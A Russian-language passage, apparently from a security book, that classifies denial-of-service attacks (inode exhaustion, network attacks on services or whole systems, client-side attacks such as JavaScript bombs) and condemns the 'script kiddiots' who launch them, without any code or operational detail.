ΠžΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ Π½Π° истощСниС индСксных ΡƒΠ·Π»ΠΎΠ² DoS-Π°Ρ‚Π°ΠΊΠΈ ΡΡ‚Π°Ρ€Π°ΡŽΡ‚ΡΡ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ всС доступныС индСксныС ΡƒΠ·Π»Ρ‹ Ρ€Π°Π·Π΄Π΅Π»Π°. Π˜ΡΡ‚ΠΎΡ‰Π΅Π½ΠΈΠ΅ этих рСсурсов создаСт ΡΠΈΡ‚ΡƒΠ°Ρ†ΠΈΡŽ, ΠΏΠΎΠ΄ΠΎΠ±Π½ΡƒΡŽ Ρ‚ΠΎΠΉ, которая происходит Π² случаС Π½Π΅Ρ…Π²Π°Ρ‚ΠΊΠΈ мСста Π½Π° дискС. Π’ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ систСма Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π½ΠΎΠ²Ρ‹Π΅ Ρ„Π°ΠΉΠ»Ρ‹. Π­Ρ‚ΠΎΡ‚ класс Π°Ρ‚Π°ΠΊ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для нанСсСния ΡƒΡ‰Π΅Ρ€Π±Π° систСмС ΠΈ прСпятствования рСгистрации систСмных событий, особСнно дСйствий Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠ°.

Π‘Π΅Ρ‚Π΅Π²Ρ‹Π΅ DoS-Π°Ρ‚Π°ΠΊΠΈ

Π‘Π΅Ρ‚Π΅Π²Ρ‹Π΅ DoS-Π°Ρ‚Π°ΠΊΠΈ, ΠΏΡ€Π΅ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ Ρ†Π΅Π»ΡŒ Π²Ρ‹Π²ΠΎΠ΄Π° ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½Π½ΠΎΠ³ΠΎ ΠΊ сСти ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π° (ΠΈΠ»ΠΈ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ΠΎΠ²) ΠΈΠ· строя, ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ отнСсСны ΠΊ ΠΎΠ΄Π½ΠΎΠΌΡƒ ΠΈΠ· Π΄Π²ΡƒΡ… подклассов: Π½Π°ΠΏΠ°Π΄Π΅Π½ΠΈΠ΅ Π½Π° ΠΊΠ°ΠΊΡƒΡŽ-Π»ΠΈΠ±ΠΎ слуТбу систСмы ΠΈΠ»ΠΈ Π½Π°ΠΏΠ°Π΄Π΅Π½ΠΈΠ΅ Π½Π° систСму Π² Ρ†Π΅Π»ΠΎΠΌ. Π’Π°ΠΊΠΈΠ΅ Π°Ρ‚Π°ΠΊΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‡Π΅Π½ΡŒ опасными. Π­Ρ‚ΠΈ Ρ‚ΠΈΠΏΡ‹ Π°Ρ‚Π°ΠΊ Π±Ρ‹Π»ΠΈ ΠΏΡ€ΠΈΠ΄ΡƒΠΌΠ°Π½Ρ‹ для создания дискомфорта ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ ΠΈ ΠΏΡ€Π΅Π΄ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°ΡŽΡ‚ΡΡ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠΎΠΌ ΠΊΠ°ΠΊ ΠΊΠ°Ρ€Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ Π°ΠΊΡ†ΠΈΠΈ.

Π₯арактСризуя людСй, стоящих Π·Π° ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹ΠΌΠΈ Π°Ρ‚Π°ΠΊΠ°ΠΌΠΈ, слСдуСт ΡΠΊΠ°Π·Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ DoS-Π°Ρ‚Π°ΠΊΠΈ ΠΈΠ· сСти – Π² основном ΠΌΠ΅Ρ‚ΠΎΠ΄ дСйствия ΠΌΠ°Π»ΠΎΠ΄ΡƒΡˆΠ½Ρ‹Ρ… людСй, ΠΏΡ‹Ρ‚Π°ΡŽΡ‰ΠΈΡ…ΡΡ ΡƒΠΉΡ‚ΠΈ ΠΎΡ‚ отвСтствСнности Π·Π° ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½Π½Ρ‹Π΅ дСйствия. Π›ΡŽΠ±Ρ‹Π΅ оправдания DoS-Π°Ρ‚Π°ΠΊ ΠΈΠ· сСти Π½Π΅ΡΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½Ρ‹. Π‘Π²ΠΎΠ±ΠΎΠ΄Π½ΠΎ распространяСмый ΠΈ лСгкодоступный инструмСнтарий создал ΡΡƒΠ±ΠΊΡƒΠ»ΡŒΡ‚ΡƒΡ€Ρƒ, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡƒΡŽ ΠΌΠΈΡ€ΠΎΠΌ возмоТностСй Π½ΠΎΠ²ΠΈΡ‡ΠΊΠΎΠ²-Π½Π΅Π΄ΠΎΡƒΠΌΠΊΠΎΠ² (script kiddiot), способных Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ Π½ΡƒΠΆΠ½Ρ‹ΠΉ сцСнарий. (Автор позаимствовал Π½Π΅ΠΎΠ»ΠΎΠ³ΠΈΠ·ΠΌ, ΠΏΡ€ΠΈΠ΄ΡƒΠΌΠ°Π½Π½Ρ‹ΠΉ ДТосом ОквСндо (Jose Oquendo) – Π°Π²Ρ‚ΠΎΡ€ΠΎΠΌ извСстной ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ antiofiline.com.) Π’Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½ΠΎΠ²ΠΈΡ‡ΠΎΠΊ-Π½Π΅Π΄ΠΎΡƒΠΌΠΎΠΊ ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ»ΠΎ ΠΎΡ‚ Π±Π°Π·ΠΎΠ²ΠΎΠ³ΠΎ словосочСтания, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ сцСнарий опрСдСляСтся ΠΊΠ°ΠΊ Β«ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ написанная ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ°, запускаСмая ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌΒ», Π° словообразованиС Π½ΠΎΠ²ΠΈΡ‡ΠΎΠΊ-Π½Π΅Π΄ΠΎΡƒΠΌΠΎΠΊ (kiddiot) являСтся ΠΊΠΎΠΌΠ±ΠΈΠ½Π°Ρ†ΠΈΠ΅ΠΉ слов Ρ€Π΅Π±Π΅Π½ΠΎΠΊ ΠΈ Π½Π΅Π΄ΠΎΡƒΠΌΠΎΠΊ. ΠžΡ‡Π΅Π½ΡŒ Π΄ΠΎΡ…ΠΎΠ΄Ρ‡ΠΈΠ²ΠΎ. Π”ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ инструмСнтария позволяСт ΠΈΠΌ ΠΏΡ€ΠΈΡ‡ΠΈΠ½ΡΡ‚ΡŒ нСудобства, ΠΎΡΡ‚Π°Π²Π°ΡΡΡŒ ΠΏΡ€ΠΈ этом Π°Π½ΠΎΠ½ΠΈΠΌΠ½Ρ‹ΠΌΠΈ. ΠŸΡ€ΠΈ этом ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ совсСм Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΡƒΡ‚Ρ€ΡƒΠΆΠ΄Π°Ρ‚ΡŒ сСбя хотя Π±Ρ‹ ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΌΠΈ тСхничСскими знаниями. ЕдинствСнныС, ΠΊΡ‚ΠΎ нСсСт Π·Π° ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Π΅ Π°Ρ‚Π°ΠΊΠΈ Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ ΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²Π΅Π½Π½ΠΎΡΡ‚ΡŒ, Ρ‡Π΅ΠΌ Π½ΠΎΠ²ΠΈΡ‡ΠΊΠΈ-Π½Π΅Π΄ΠΎΡƒΠΌΠΊΠΈ, β€“ это Π³Ρ€ΡƒΠΏΠΏΠ° профСссионалов, ΡΠΎΠ·Π΄Π°ΡŽΡ‰ΠΈΡ… условия для ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Ρ… Π°Ρ‚Π°ΠΊ.

DoS-Π°Ρ‚Π°ΠΊΠΈ ΠΈΠ· сСти, ΠΊΠ°ΠΊ ΡƒΠΆΠ΅ Π±Ρ‹Π»ΠΎ сказано, ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Ρ‹ Π½Π° слуТбы ΠΈΠ»ΠΈ систСму Π² Ρ†Π΅Π»ΠΎΠΌ Π² зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊΡƒΡŽ Ρ†Π΅Π»ΡŒ прСслСдуСт Π°Ρ‚Π°ΠΊΠ° ΠΈ ΠΏΠΎΡ‡Π΅ΠΌΡƒ. Они ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ΄Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Ρ‹ Π½Π° Π°Ρ‚Π°ΠΊΠΈ, Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Π½Ρ‹Π΅ для достиТСния ΠΎΡ‚ΠΊΠ°Π·Π° Π² обслуТивания клиСнтской части, сСрвисов ΠΈΠ»ΠΈ систСм. Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… Ρ€Π°Π·Π΄Π΅Π»Π°Ρ… ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· этих Ρ‚ΠΈΠΏΠΎΠ² Π°Ρ‚Π°ΠΊ Π±ΡƒΠ΄Π΅Ρ‚ рассмотрСн Π±ΠΎΠ»Π΅Π΅ Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎ.

Π‘Π΅Ρ‚Π΅Π²Ρ‹Π΅ DoS-Π°Ρ‚Π°ΠΊΠΈ Π½Π° ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΡΠΊΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ

Π‘ΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹ Π½Π° достиТСниС ΠΎΡ‚ΠΊΠ°Π·Π° Π² обслуТивании клиСнтской части. Они ΠΏΡ€Π΅ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ Ρ†Π΅Π»ΡŒ: Π΄ΠΎΠ±ΠΈΡ‚ΡŒΡΡ нСвозмоТности выполнСния клиСнтской Ρ‡Π°ΡΡ‚ΡŒΡŽ запросов ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. ΠŸΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠΌ ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎΠΉ Π°Ρ‚Π°ΠΊΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Ρ‚Π°ΠΊ Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Π΅ Π±ΠΎΠΌΠ±Ρ‹ JavaScript (JavaScript bombs).